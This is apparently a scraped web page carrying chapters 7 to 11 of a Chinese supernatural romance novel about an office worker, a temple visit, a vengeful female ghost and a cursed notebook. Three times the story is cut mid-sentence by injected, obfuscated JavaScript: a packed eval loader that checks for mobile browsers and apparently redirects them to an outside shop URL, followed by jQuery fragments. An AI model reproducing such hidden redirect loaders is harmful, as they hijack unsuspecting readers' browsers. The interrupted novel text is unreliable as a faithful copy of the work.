寺庙旁边的树木郁郁青青,钟励都躲着走,尽量走小道,不靠近树木。
“怎么了?感觉你畏畏缩缩的。”
莫意初今天也一改都市丽人的打扮,简单素净的衬衣加长裙。
只是看着精神不太好,眼下青黑,眼睛还有红血丝。
“这树长得太好了,我怕上面有什么虫子或者蛇的。”
钟励不光注意树木,还格外关切路旁的小灌木。
她指了指其中一个小灌木,头头是道说起来:
“意初姐,你不知道,我总是有种恐惧,感觉这种小灌木里随时能窜出某种动物来。”
“我小时候住的地方没有厕所,只能去公厕,公厕有一段必经之路,两旁是茂密的灌木丛。有一天我路过的时候,突然窜出一条蛇溜走了。把我吓得不轻,现在就养成了一个习惯,灌木丛能不靠近就不靠近。”
“我还记得呢,那是一条小黑蛇,既然是幼年体的,那附近应该也有成年体的家长在,那段时间我都只敢在学校上厕所了,尽量减少在家上厕所的次数。”
钟励讲到这里的时候还不由自主摸了摸手臂,起了一层鸡皮疙瘩。
两人聊着聊着,就走到了寺庙门口。
这里的香火应该很不错,钟励以为她们很早了,没想到寺庙里已经有很多人了。
原本是想要错开高峰期,但大家都是聪明人啊。
钟励掏出手机想查询一下求签的步骤,但她刚进门口,就有专人指引了。
有求签跟求事两种,钟励想了想,觉得还是求签吧。求事的步骤有点复杂,她没准备什么材料。
先净手、上香,然后才是抽签。
钟励在心里问了问题后,摇了摇签筒,问她能不能发财?
但又觉得这种问法有点笼统了,神明怎么知道你的发财范围是什么?而且得问判断题,才能知道有没有。
接着她又在心里默念补充道:
【她未来能有一套小房子,一辆代步车,加上八百万现金流这种程度的富贵吗?】
摇出来一根签后,钟励看不懂,去找了寺庙的师傅解签。
师傅说她是上上签,可把钟励高兴坏了。
她嘴巴都合不拢了,几次忍不住都要跳起来,心里激动得想找一个人分享喜悦。
“意初姐?意初姐?”
来寺庙的人太多,钟励求签后,莫意初就让她先去解签,这才一眨眼的功夫,莫意初就不在原地了。
钟励一边给她发了消息,一边瞎溜达找人。
寺庙重地,她又不能大喊。
人群来来往往,钟励可以说是逆着人群在走动,不时还有人撞到她的肩膀。
“钟励?”
钟励感觉到有人拍了拍她的肩膀,她松了一口气:
“意初姐,你去哪里……”
但当她转过头的时候,发现并不是莫意初,而是之前的一个大学同学。
老同学满脸沧桑,脸色蜡黄,身形瘦削,她笑笑:
“钟励,好久不见啊。”
8. 第 8 章
钟励低下头,鬓边的发丝垂落下来,她呼吸急促,视线躲闪。
“你不记得我了吗?钟励。”
“我是夏曦曼啊,我们还是大学同学呢。”
太阳逐渐走到天空正中间,直直地照下日光,人的皮肤要是晒久了,容易发疼。
可钟励却觉得浑身冰凉,还冒出了冷汗。
她始终没有对上夏曦曼的眼神,钟励侧开身子,躲开夏曦曼的触碰,她低声道;
“抱歉,女士,你认错人了。”
说完她不等夏曦曼做出反应,就落荒而逃了。
期间还不小心撞到了几个人,有僧人见她神色苍白,便将她扶去了休息的地方。
走去休息室的路中,钟励双目失神,似乎沉溺于过去的记忆里。
只见她嘴唇翕动,喃喃道:
“怎么会呢?我都躲到这里来了。”
钟励阵阵发冷,她双手抱胸,不时揉搓手臂,可还是刺骨的冷。
明明是三十多度的炎热夏季,这绝对不正常。
“钟励?你来了。”
听到有人喊自己的名字,钟励下意识抬头,瞧见了坐在椅子上的莫意初。
她的脸色也不好,她左手拿着粉饼,正补妆到一半。她迅速拿着粉扑在脸上“啪啪”几下后,就把化妆品收了回去。
莫意初站起身来,接过僧人搀扶的钟励,眼神关切,扶着钟励慢慢坐下来,还用指腹替她擦去了额头上的汗水。
“怎么了?低血糖?”
钟励本想摇头否决,但又觉得多一事不如少一事,她也不想解释太多,便轻轻点头认下了低血糖的说法。
“让你吃了早餐再来吧,又不肯。”
莫意初虽然嘴上唠叨她,可动作还是诚实的,她拉开包的拉链,翻找有没有糖果巧克力之类的食物。
包里被翻找得叮铃哐啷的,她翻来覆去找了好几趟,都没有找到。
“意初姐,不用找了,我有糖。”
钟励眨巴眨巴眼睛,从包里掏出一块糖,撕开包装抛进嘴里。
这还是前几天同事发的喜糖,她顺手就塞进包里了。没想到现在还有这用处。
莫意初见状白了她一眼,在她旁边坐下来,轻拍她的肩膀,虽然皱着眉头表情严肃,但眼神并不严厉。
“你有糖果还看我一阵找,很得意是吧。”
钟励连连讨饶,“我错了,意初姐,这不是忘记了嘛,绝对不是在拿你做消遣。”
“意初姐,你刚刚人去哪里了?我一转头就找不到你了。”
钟励身体还发软,整个人斜着身体,躺在莫意初的肩膀上。
莫意初身体僵硬了一瞬,扯出一个笑容:
“没事,就是家里有点事情有点烦人,求签的结果也不太好。”
莫意初简单说完自己的情况后,立刻转移了话题,显然不欲多说:
“对了,你求签的结果怎么样?”
钟励也不是看不懂眼色的人,既然是别人的家事,那她自然不会多问什么。
她接着莫意初转移的话题回答道:
“意初姐,我跟你说,这寺庙绝对灵。”
她坐直了身子,振振有词。
“因为我问能不能发财,给了我上上签。”
钟励一脸得意,下巴微微抬起,眼睛亮晶晶的,脸颊红润。
好的灵,坏的不灵,钟励一向的看法。
莫意初也很捧场。
“是吗?那钟老板以后发财了,可不要忘了我啊。”
她们只是暂时不舒服,休息得差不多了就要回去了。
因为第二天要上班,下午要回去休息休息补觉。
钟励跟莫意初相互扶着对方,一路谈钟励以后要是发财了打算给莫意初安排什么职位。
“你都这么有钱了?还让我上班啊?”
面对莫意初的质疑,钟励不慌不忙,她解释道:
“授人以鱼不如授人以渔,直接打钱会让你染上懒惰的毛病,可能会坐吃山空的。”
“从长久来看,还是有一份工作,保持稳定的收入比较好。”
两人谈笑间,走到了寺庙门口,刚下台阶,夏曦曼就不知道从哪里冒出来了,可能潜伏已久,她挡在两人的前方,眼神坚定,对着钟励说道:
“钟励,我有事情跟你说。”
莫意初扫了两人一眼,找了个理由溜走,给她们独处的时间:
“那个,我突然想上厕所,我先去上厕所了。”
“抱歉,你真的认错人了。”
钟励死咬着不放就是不承认她们认识。
那件事情已经过去,她也不想要再提起。
“那我要是说,那件事情是有人故意设局的呢?”
夏曦曼说的话犹如抛下了一颗地雷,惊起钟励内心的骇浪。
钟励沉默了两秒,随后抬起头对上夏曦曼的眼睛,她定定凝视着夏曦曼,声音干哑:
“你知道你在说什么吗?”
夏曦曼重重点了点头,回以同样坚定的眼神:
“我当然知道。”
夏曦曼往前一步,还想要说些什么,但下一秒她的喉咙却如同被抽干了空气一般,剧烈咳嗽起来。
她侧过头,手捂着嘴巴,身子微微弯下,咳嗽声却愈演愈烈,脸颊跟脖子涨得通红。
“怎么样?没事吧。”
钟励扶住她的手臂,借力让她站稳。
夏曦曼摆摆手,逐渐缓和。
“我没事。”只是说话的声音哑了不少。
她从口袋里掏出一张纸,塞到钟励的手里,轻声对她说道:
“这是我的联系方式,如果你想知道当年的真相,联系我。”
钟励神情紧绷,看着手心的纸张,不知作何反应。
莫意初回来的时候看到的就是钟励这副失魂落魄的样子,她悄悄走上前,喊道:
“回魂啦。走吧,我们约的车到了,不能让师傅久等。”
莫意初没问刚刚来找钟励的人是谁,成年人之间有边界感,如果别人想说自然会说,没必要问。
---
钟励跟莫意初到半路上就分开,各回各家了。
钟励在回家的路上,打开夏曦曼给的纸条,看了一眼,又给折回去。没几分钟又打开,上面的数字都要铭记于心了。
脑海里的思绪乱得像一团麻线,越想越头疼越犹豫,干脆不想了。
钟励将纸条叠好,放进包的夹层里。
戴上耳机进入神游状态,可发散的思绪控制不住打开尘封的记忆。
“是她没错吧,被人带走的。”
“学校里面各种群都传疯了。”
对于他人的指指点点与流言蜚语,钟励只能保持沉默的态度。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222641|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>虽然官方解释了她没有任何问题,但真相传播的速度远远不如流言传播的速度。
钟励在炎炎夏日里都带着口罩,脸颊都闷出痘痘来也不摘下。
还剩最后一年而言,很快的。她在心里默默给自己加油打气。
那个时候,连她最好的朋友都……
想到这里她不禁黯然神伤,她以为依照她们的关系,会有人始终站在她的后面,当她的后盾的。
钟励想得太过于沉迷,一不小心脑袋直接磕到车窗上,“咚”的一声,一听就是一个好头。
她抬起手揉揉磕到的地方,痛感不强,很快缓和了,没什么大碍。
刚好也到家了,钟励付钱后下了车,呼吸了一口新鲜空气。
不是她说,为什么出租车不能打理好,好歹是出来做生意的,总有一股难闻的味道。
钟励像拖着一副残躯,腰都佝偻了不少。
她站在公寓楼下,抬头望天,因为阳光太强烈,只能半眯着眼睛,手还要放在眉毛下才能睁开。
“要是有任意门就好了。”
钟励突然冒出这个想法,这样她一拉门就能回到家,省得走路,还要等电梯。
不过能坐电梯都算好了,她大学的时候宿舍没有电梯,每天只能靠着两条腿吭哧吭哧爬九楼。
直到她毕业的那年,学校大发善心,给宿舍楼安装了电梯,同班同学惊呼生早了时代。
“叮”的一声,电梯门打开,钟励如释重负大踏步走出去。
无论多累,回到家里的第一件事都是换睡衣。
钟励换上纯棉的睡衣后,飞跃一般扑在床上。
身体很困,但脑子很清醒,大脑里像是有两个小人在打架。
一个说赶紧睡吧,明天就要上班没得睡了,而另一个说,事情解决了没有就敢睡,睡得着吗你?
确实是睡不着,所以她干脆起来捣鼓捣鼓。
钟励跑到客厅的一个角落,翻找了一个袋子,没错她搬家后还有行李没收拾完,干脆就放在了那里,有用的时候再处理。
翻找几分钟找到了,是一部旧手机,电话卡也没有被拔下来,她当时关机后直接就丢在角落了,办了一张新卡。
手机早没电了,钟励找充电线还找了半天。
智能手机迭代太快,现在的数据线插口已经变了,她找遍所有的数据线,终于匹配上了,是手持电风扇的数据线。能用就行。
不是快充的,要等一会,等待的间隙钟励随便煮一包泡面吃了起来。
她找电视剧没有找到合适的,泡面都吃完了。
锅随手就洗了,她不喜欢泡在水槽里,总感觉会引蟑螂。
旧手机充电了20%,够开机了。
不愧是旧手机,开机后卡顿了好几分钟。手机页面弹出运营商的提示。
钟励有点摸不着头脑,她还以为手机号被注销了呢,这个运营商是超过三个月不交费就会自动注销。
她更新程序后点开营业厅软件,显示她仍有五十多的话费。
钟励的眉头拧了起来,接着又查询消费订单,显示每隔一段时间,就有人给她充话费维持这个手机号码的存在,该行为长达三年。
不会是充错话费的人,因为充话费充错一次就知道了,不可能连着充三年给她。
“奇怪。”
钟励滑动账单,缓慢眨了眨眼睛。
9. 第 9 章
时间过去了太久,很多软件都要更新才能打开了。
钟励咬了咬唇,几次犹豫,点开了微信。她已经很久没有接触老朋友了。
消息界面不断上弹,各种公众号、群聊都是密密麻麻的消息。
“叮咚”一声,是大学群发的消息,钟励还以为是老消息,只是现在才弹出来,但仔细看了时间以后,确实是现在才发的消息。
【我们要不要聚一下?】
钟励记得提出同学聚会提议的人是班长,因为她班长的职位做得很不错,老师满意,同学们也很满意,加上她自己的意愿,所以她干脆后面连任了,当了四年的班长。
【好啊好啊,大家都好久没见了吧。】
【你们都在哪里呢?】
【主要是吃还是玩呢?】
回应班长的都是当初一起当班干部的那群人,大部分人都在潜水,也可能是不太熟,反正响应的人不太多。
【都说毕业后就再也聚不了全班人了,现在看来确实是呢。】
【对了,你们有联系过钟励跟夏曦曼吗?】
此话一出,原本还算热闹的群聊顿时鸦雀无声,仿佛时间静止了一般。
大约过去了一分钟,才冒出一条消息。
【夏曦曼的话我好像见过她,不久前辞职了,正在旅游呢。】
大家都一致跳过了钟励的话题,就连问出这问题的人,也赶在三分钟内撤回这句话。
好像刚刚只是没必要的小插曲,接下来又开始讨论聚会的相关事宜了。
钟励看着不断弹出的消息,内心感到一阵疲惫。
刚刚充到20%的手机电量跳到10%了,电量告急,钟励没动作,呆愣着看手机没电自动关机。
她深深吸了一口气,又打了一个哈欠,将旧手机放回原来的位置,说道:
“还是睡觉吧。”
可能是太累了,心里放的事情又多,钟励感觉整个人既沉重到浑身要塌陷下去,又轻盈到脚底踩不到地面。
意识昏昏沉沉的,分不清到底睡了没有,好像睁开了眼睛,又好像没有。
“渣男,你居然还敢来?”
钟励半梦半醒间,耳边传来一道凌厉的女声,语气不甘又愤怒,声音忽远忽近。
不是说这层楼只有她跟纪善在住吗?哪来的其他人声音。
哦哦,也可能是电视声,兴许是放的电视剧。
意识又沉回去了,过了会儿钟励猛地惊醒,这又不是在她爸妈家里,怎么会有听着电视声睡着的事情。
况且她这公寓根本没有电视机,现在年轻人都不太看电视了,她一般都用电脑或者平板看。
“唰”的一下,她立刻坐直身子,冷汗在空调的作用下,凉意沁入皮肤。
那道女声原本像在耳边说的,她醒来后,女声又变得远了,像在客厅里,隔着一扇门。
钟励掀开被子,心神不宁的,脚没能一下子穿上拖鞋,而是直接踩到冰凉的地板。
冷意从脚底板直达天灵盖,意识清醒了不少,瞌睡虫也溜走了。
钟励转动眼珠子,通过余光观察房间里有没有多余的东西。
好在她眼睛大,余光可以观察到的范围也很大。
房间里什么都没有,只是她有点冷。
钟励将视线移到正在作业的空调上,26度又不是16度,冷得奇怪了。
但她又不敢关空调,怕声音会打草惊蛇。
钟励一步一步挪到房门前,将耳朵贴到门上,很安静,她只能听到自己的呼吸声。
她垂下眼帘,开始思考是不是自己太紧张焦虑了,出现了幻觉。
刚想松口气,点杯奶茶放松一下,不料钟励下一秒又听到那个女声。
“你有想过今天是你的死期吗?”
?
在跟她说话吗?她的什么?她没得罪过谁吧。
之前说她没有遇到和前几任租客一样的情况,这话讲得真是太早了,不是不报时候未到。
钟励双手捂着剧烈跳动的心脏,她看向床头柜上的手机,心想要不要现在跟妈妈打个电话说一下遗言,并让妈妈发个帖子,不要租凶宅,这是血的教训。
“回头是岸,为时不晚。”
一道清冷的男声出现,她紧张的心跳逐渐平缓。
原来不是在跟她说话啊,好险。
这声音有点耳熟,钟励接触过的男生不多,隔着门声音听得不真切,隔了几秒才反应过来。
这是她邻居纪善。
钟励整个人贴在门上,神情专注,贴着门的那只耳朵已经变红了,逐渐发热,她又换了另一只耳朵接着听。
“现在连狡辩都没有了?那你受死吧。”
女声失去了继续交谈的欲望,声音变得凶狠。
钟励来不及思考,她呼吸静止了一瞬,手不受大脑控制就拧开了门把手,整个人直愣愣冲了出去。
“等等。”
她举起右手闭着眼睛,感觉自己像电视剧里骑着马大喊“刀下留人”的角色。
客厅里没有开灯,但光源不知道哪里照过来的,整个客厅十分亮堂。
纪善被绑在椅子上,动弹不得。身上还穿着睡衣,像是突然从被窝里薅出来的。
而那道凶狠的女声,长相不似声音一般凌厉,也不像大众印象里女鬼穿着红衣,满脸血色。
只是一身普通的淡蓝色棉质睡裙,长发柔顺披在身前两侧,转过身来的时候,钟励看到她的皮肤很白,没有血色,唯一跟普通人之间的差别了吧。
女鬼走过来,缓慢从上到下扫了一眼钟励,而后开口道:
“看你身上这恶怨,你也是找他来算账的?”
“啊?我。”
“有话好好说,至少不要在别人的家里行凶嘛。”
钟励站在两人之间和稀泥,陪笑道:
“是不是,是不是有什么误会啊?”
虽然钟励不了解纪善的本性,他长相又俊美,每一根头发丝都像有一个女朋友的样子,但总得先把人救下来吧。
“那你要跟他一起死?”
女鬼的声音轻飘飘的,她已经伸出了手,钟励可以看到她的手指甲在逐渐变长。锋利到割喉就能死亡的地步。
识时务者为俊杰,钟励“唰”的一下,因跑得太快拖鞋跟地面摩擦发出“叽”的一声,她一溜烟就从一人一鬼中间逃出来。
她跑到客厅的一个角落,对女鬼解释道:
“姐姐,我对他没有那个意思,您想怎么惩罚他都可以,这是他罪有应得。只要不牵扯我就行。”
“我是无辜的。”
钟励虽然是打算来救纪善的,但很遗憾无能为力,要怪只能怪他倒霉了。
视线转到纪善身上,他双腿叉开,坐姿慵懒轻松,双手被绑在椅子后面,低着头,看不清
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222642|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
神色。
就连听到有人在讨论他生命的去留,也不为所动。
钟励嘴上是这么说,但实则还是在寻找解救的方法,女鬼说是在清算纪善,但谁敢保证不会连她一起灭了。
手机没信号,这层楼也没人住,就算她冲出去求救,也未必有响应。
女鬼一步步靠近纪善,惨白的手已经伸了出来,即将碰到纪善的时候。
纪善猛地抬头,表情没有恐惧,反而是……怜悯?
钟励用手指揉了揉眼睛,怀疑自己看错了。
“收手吧,现在还来得及。”
纪善慢悠悠开了口,说话的声音带着冷意,像一记钟鸣,钟励原本脑子还有点迷迷瞪瞪的,这下清醒了不少。
应该有办法吧,她突然想起前段时间捡到了诡异笔记本。
如果可以让人倒霉,那是不是也代表可以牵制鬼魂呢?
现在大数据的时代,想得到一个人的身份证消息可太容易了。
她之前查房子的时候,在网上就查到了女鬼的名字跟身份证号码。
钟励整个人贴在墙上,贴墙挪动着走,生怕引起注意。
“你要干什么?”
女鬼自然察觉到钟励的诡异之处。
“我……人有三急。”
钟励捂着肚子讪笑道。
“那你快去吧,憋久了容易生病。”
女鬼转过头去,没再看她一眼。
钟励苦笑着脸,都做好被大骂一顿甚至小命不保的准备了。没想到女鬼还挺好说话的。
钟励踮着脚尖,一路走到玄关处,厕所就在玄关附近,本来地方就这么点大,怎么走都顺路。
她一拉开抽屉,笔记本像被镇压几百年后得以重见天日一般飞奔出来,跟过年回家了一样,直直冲往女鬼的方向。
钟励想伸手拦住,但她没看路,不小心被她自己随便乱丢的鞋子绊了一跤。
“哐当”一声摔在了地上,整个人面朝下趴着,头晕乎乎的。
“啊---”
钟励昏过去之前,只听到一道叫声凄厉的女声,她想抬头看一眼,但却被不知道什么东西死死压着意识,最后陷入了沉睡。
她只能感受到很冷,双手抱住了自己都没有任何热意,像被抛弃在一个冰凉荒弃之地。
“我好冷啊,小芎。”
钟励下意识呢喃出这个名字,随后听到一个温柔的声音,“很冷吗?”
“那跟我一起睡吧。”
钟励天生体寒,冬天的时候总要比别人多穿一件衣服。晚上睡觉的时候也总是更难入睡,她总要花费比别人多一倍的时间,才能把被窝捂暖。
所以后来冬天她就跟琼芎一起睡,学校的床很小,两个人挤着刚刚好,很快就暖和了。
“可是,小芎,你怎么不在我身边了呢?你居然也跟别人一样,抛弃了我。”
“我们说好要做一辈子的好朋友的。”
温暖过后,是更大的悲凉。
钟励没有被温暖迷了心智,她用力睁开双眼,想要从这个幻境当中醒来。
不知不觉眼泪逐渐流出,在脸上风干。
“算了,都过去了。”
压在身上那抹沉重的意识突然消失。
钟励一下子清醒过来,她翻过身,发现客厅里没有了女鬼的身影。
而纪善就坐在那把椅子上,直勾勾地观察她。
10. 第 10 章
客厅暗下去了,钟励也没想到她睡个午觉居然直接睡到了半夜。
窗帘没有拉紧,透出一丝亮光。
钟励摇摇晃晃站起来,耳鸣声忽大忽小,所以她说话声也忽大忽小的。
纪善翘着二郎腿,冷硬的木椅居然坐出柔软沙发的样子来,他的头微微歪着。
他的正前方是掉落在地上的笔记本。
客厅里不够亮,钟励看不清纪善的表情。
她瘸着脚,感觉是扭伤了,脚踝处钻心地疼。走又走不好,干脆一屁股坐在地板上。
“纪善,麻烦你帮我开一下灯,我脚好像扭伤了够不到。”
没有响应。
钟励又轻声喊了一遍:
“纪善?纪善?”
钟励没办法,金鸡独立,一跳一跳的,终于艰难抵达灯光开关处,她抬起手用手背擦去额头上的汗水。
“啪”的一声,灯管闪了两下,开始工作。
钟励手捂着眼睛,直到适应了亮光,才慢慢放下手。
一只脚又跳着来到了纪善面前,捡起掉落的笔记本。
她翻开看了一下,居然这页面上出现了女生的名字,字体清逸,在灯光照射下黑色的墨迹里还有盈盈金闪。
“这是怎么回事?”
钟励眉头紧拧,大脑飞速运转,翻来覆去看这一页,眼睛都要给盯出一个洞来了。
这笔记本自己飞出来,现在女鬼不见了,名字出现在了上面。
难道这还是一个法器?不用持有人启动就能自动工作的法器?
不但可以制裁人类,还能制裁鬼魂?
钟励挠着头百思不得其解,头疼脚也疼。
纪善闷哼一声,晃了晃脑袋,恢复意识。
钟励眼疾手快将笔记本藏在鞋柜后面,而后问纪善:
“怎么样?有哪里不舒服吗?”
纪善原先鲜红的唇色现在变得苍白,整个人的精神气都萎靡了不少。
“我怎么了?我怎么在你家啊?”
还在心里打草稿解释的钟励一下子蒙圈了,她连连“啊”了好几声,也没说出完整的一句话。
“额,你什么都不记得了?”
纪善捂着脑袋摇摇头,一双桃花眼里满是茫然。
“我干什么了吗?”
钟励后仰,仔细观察他脸上的表情,看不出异样,她长叹一口气说道:
“纪善啊,我觉得你有病。”
“什么?”
“你应该是有梦游症,半夜三更敲我家门,我看你是邻居还以为你有什么事情呢?就给你开门进来了。”
“没想到你到处乱窜,我为了抓住你,太艰难了。”
钟励一顿乱讲,也没指望对方能被唬住,反正又没有监控,她怎么说都行。
纪善从椅子上起来,半跪在钟励面前,他低下头,钟励只能看到他毛茸茸的脑袋。
【一点发缝都没有啊,真让人羡慕,用的什么洗发水啊?】
这是钟励的第一想法。
“抱歉,是我害你扭伤了吗?”
他抬起头,水汪汪的大眼睛,明明是眼尾向上的桃花眼,但这副表情又觉得他是狗狗眼。
纪善伸出手,骨节分明的大手一下子就能圈住钟励的脚腕,她不太适应跟男性这么亲密,下意识往后缩,但纪善用另一只手以强硬却温柔的力度放在她背后,不让她退缩。
“别动,小心二次扭伤。”
接着纪善又低下头去观察钟励的脚踝,可能是睡衣的领口太大了,弯腰的时候露出一截精致的锁骨。
钟励呼吸静止,恍若无事移开视线,她轻咳一声,说道:
“我没事其实,可能就是扭伤而已,用点跌打酒就好了。”
可纪善却轻轻皱起眉头,一脸不赞同。
“你太不注意自己的身体了。”
说完他转过身,弯下腰做出要背人的姿势,声音温和但语气却是不容拒绝的坚定。
“上来,我送你去医院。”
钟励立马开口就是拒绝,“不用了不用了。”
“我有跌打酒在抽屉里,我自己弄一下就好了。”
其实没有,她抽屉里只有花露水。
说着她就起身,可脚踝的刺痛让她又跌回原位,好在身上肉多,没有摔到。
纪善见状也不跟她商量了,仗着体型优势直接将钟励背了起来,还往上颠了一下。
没想到纪善也就是看着和善,实则决定的事情十头牛都拉不回来,好说歹说都没用。
钟励讲得嘴巴都干了,纪善才勉强点头,同意去附近的小诊所而不是去医院。
钟励这样做有两个原因,第一个当然就是因为空瘪的钱包了,虽然说是找到了工作,可这还没到一个月呢,没工资发,医院也不知道要花多少钱。
第二就是明天还要上班,哦不,应该说是今天,因为现在已经凌晨两点了。医院跑个来回不知道要花多少时间,怕影响上班打卡。全勤打卡不能断,全勤可是有三百块呢。
还好赶在小诊所关门的前几分钟他们闯了进去。
钟励伤得不重,没有伤到骨头,医生给开了一些活血化瘀的药就让他们回去了。
纪善仗着钟励崴脚了不方便,抢先付了钱。
钟励转账回去他又不要,其实崴脚跟他没关系啊,钟励又不好解释。
“明天我跟你一起去上班吧。”
纪善把钟励背到门口,脚踝痛感在冰敷后已经好很多了。
“不用了吧。”
钟励不假思索就拒绝了,要是被其他同事看到了,她有口也说不清啊。
她可是打工人阵营的,不能当墙头草歪了。
纪善退了一步,没有继续今晚的强硬态度。
“好,如果到时候你可以自己去,那我也不勉强,毕竟你看着好像不太喜欢我的样子。我说什么你都拒绝。”
说到后面半句的时候,他声音弱了下去,视线没有直视钟励,而是偏了30度。
丝毫不给钟励解释的机会,他又接着说道:
“如果明天,你还是疼得走不了路,并且要坚持去上班,那我送你,毕竟你的伤跟我也有关系。”
纪善身上的味道很好闻,清新又和煦,像冬日里的山林。
他低下头来温柔轻声说话的时候,钟励的眼睛都不知道要往哪里看。
都说跟人对话的时候,看着眼睛比较礼貌,但她似乎无法做到礼貌了。
回到公寓后,已经三点多了。
钟励在床上躺了半天,昏昏沉沉睡了过去,一眨眼的功夫,闹钟就响了。
“这觉短得跟高中午休一样。”
钟励揉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222643|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了揉脖子,声音低哑。
她伸手摸了摸脚踝上缠着的纱布,一边感叹道:
“脚啊,让你跟着我真是委屈了。等我赚了大钱,每周给你来一次脚膜,每个月来一次保养。”
洗漱换好衣服后,钟励半瘸着腿去上班了。走之前还不忘把笔记本塞进包里,她得研究研究怎么一回事。
一拧开门就发现纪善半阖着眼,倚靠在门上。钟励这才注意到,纪善其实眉眼很锋利,只是一双温柔眼睛抵消了大部分的冷感。
一边也在想,帅哥就是帅哥,靠着墙都像在拍杂志。钟励也喜欢站着的时候靠着墙放松,经常被她妈一掌拍过来,说她像个二流子。
“怎么样?脚腕还痛吗?”
纪善看到钟励后,大步走了过来,他似乎有跪下查看伤势的趋势。钟励一个搀扶打断了他的动作。
“我好了我好了,我真的恢复得还可以。”
钟励今天罕见穿了长裙,基本上她上班都是穿裤子,方便踩共享单车。今天崴脚了穿裤子反而不方便。
她走得很慢,纪善一个大跨步走在她前面蹲了下来,说要背她。
钟励直接拒绝,只肯让纪善搀扶着她。
昨天晚上半夜没人,背她也无人知晓。但现在大白天的,人来人往,看到了多难以解释。要是搀扶她,还能归结为好心邻居的善意。
纪善的车停在小区门口,一辆黑色的十分帅气的车。
至于牌子,钟励眯着眼睛认了半天认不出来,她对车不了解,因为她晕车。对她来说,能与流动的空气发生最大面积接触的电动车就是最好的车。
---
其实钟励也没想过,因为崴脚的事情而让同事对她多忍让或者是让她少干活。
但老板的狗腿子主管,方付,老板的小舅子,今天也不知道是不是看她不顺眼,一直说她这样带伤工作会耽误工作。
为了证明她会耽误工作,给钟励安排了甚至以往都不是她的工作。
“钟励,给我倒一杯咖啡过来吧。”
方付在办公室里,双腿交叠放在办公卓上,西装里的衬衫领子一半往里折,一半往外开。黑色的西装外套肩膀处,有不明的白色碎屑。
钟励进到茶水间,慢慢给方付制作了一杯咖啡。
可方付喝了一口就吐出来,眉头拧着,大声怒斥道:
“你怎么泡的?这咖啡的风味都没泡出来?”
钟励一头黑线,茶水间的咖啡是一小包一小包的那种,添加剂一大堆,风味难道是香精吗?
又不是现磨的咖啡豆,能有什么风味?
“算了,你去把我的快递拿上来吧。”
方付挥挥手,给钟励分配了别的活。
小公司就不指望有什么明确的岗位职责了,她是来干杂活的。
也不知道方付是买了什么东西,一个大箱子很重,光靠钟励一个人可带不上来。
“意初姐,没你我可怎么办啊?”
钟励眨巴眨巴眼睛,打算等一下就下单外卖优惠券,中午膨胀一个大的,给莫意初点杯奶茶。
折腾了一上午,临到午休,方付这才消停下来。
钟励回到工位,掏出笔记本,她低着头邪笑一声,拉开抽屉拿出签字笔。
“唰唰唰”地在笔记本空白的一页,写上了方付的名字。
11. 第 11 章
最后钟励还是没有在笔记本上补充完整方付的信息。
笔记本有点邪门,能少用还是少用,除非她特别生气。
钟励将笔记本翻来覆去看了好几遍,都没有看出什么异常来。也可能是她道行不够?
钟励脚踝伤得不重,一两天后就恢复得活蹦乱跳了。
“过来一下。”
钟励正开小差呢,突然电脑页面弹出老板发来的消息,四个字却极其具有压迫感。
从她的工位走到老板办公室,都不到三十米。
这一路上,钟励都在思考自己是不是哪里做错了?
就跟小时候她妈在客厅喊她大名一样,把脑子里所有能想起来的事情都想了一遍,也不知道她妈到底是知道了她做了哪一件错事?
“叩叩”两声,钟励手指骨节弯曲敲了两下门,心脏砰砰直跳。
她真的很讨厌被叫到办公室,虽然不一定是她有什么问题,但这种压力消解不了。她确实不适合上班。
“柯总,您找我?”
钟励挂上上班专用的微笑。
“坐,快坐。”
柯总示意让钟励坐,但她还是选择站着。
“没事,我站着就好,您有什么工作安排吗?”
就算她真被抓到摸鱼的,那也不能自己承认。坦白从宽在这里可是不成立的。
“钟励,你的脚恢复得怎么样了?”
柯总端起面前的茶杯喝了口水。
难道是怕她耽误工作?她最近没有按时下班啊,每天都晚半个小时才走的。
因为一点点小伤就赶她走人?不至于吧。
辞退她需要n+1的,不过她入职也才一个月,就算开了她补偿也不多。
她还是老老实实表忠心当一个打工人吧。
想到这里,钟励扬起脑袋,伸出右手握成拳轻锤胸口:
“柯总,我的脚伤不严重,现在已经好了。绝对不会耽误工作的。”
柯总摇摇头,剩余不多的头发在他的大幅度动作下像风吹的蒲公英。
“我不是这个意思,主要是怕影响你的身体。”
钟励又重复解释了一遍:
“柯总,我真的恢复好了。为公司万死不辞。”
她离单膝下跪就差一点了。
怕柯总不信,钟励踮起脚尖在办公室里走了几圈,还轻轻跳了几下,不敢跳得太用力。这楼的质量感觉不太好,钟励工位附近的天花板之前塌过,还好没砸到人。
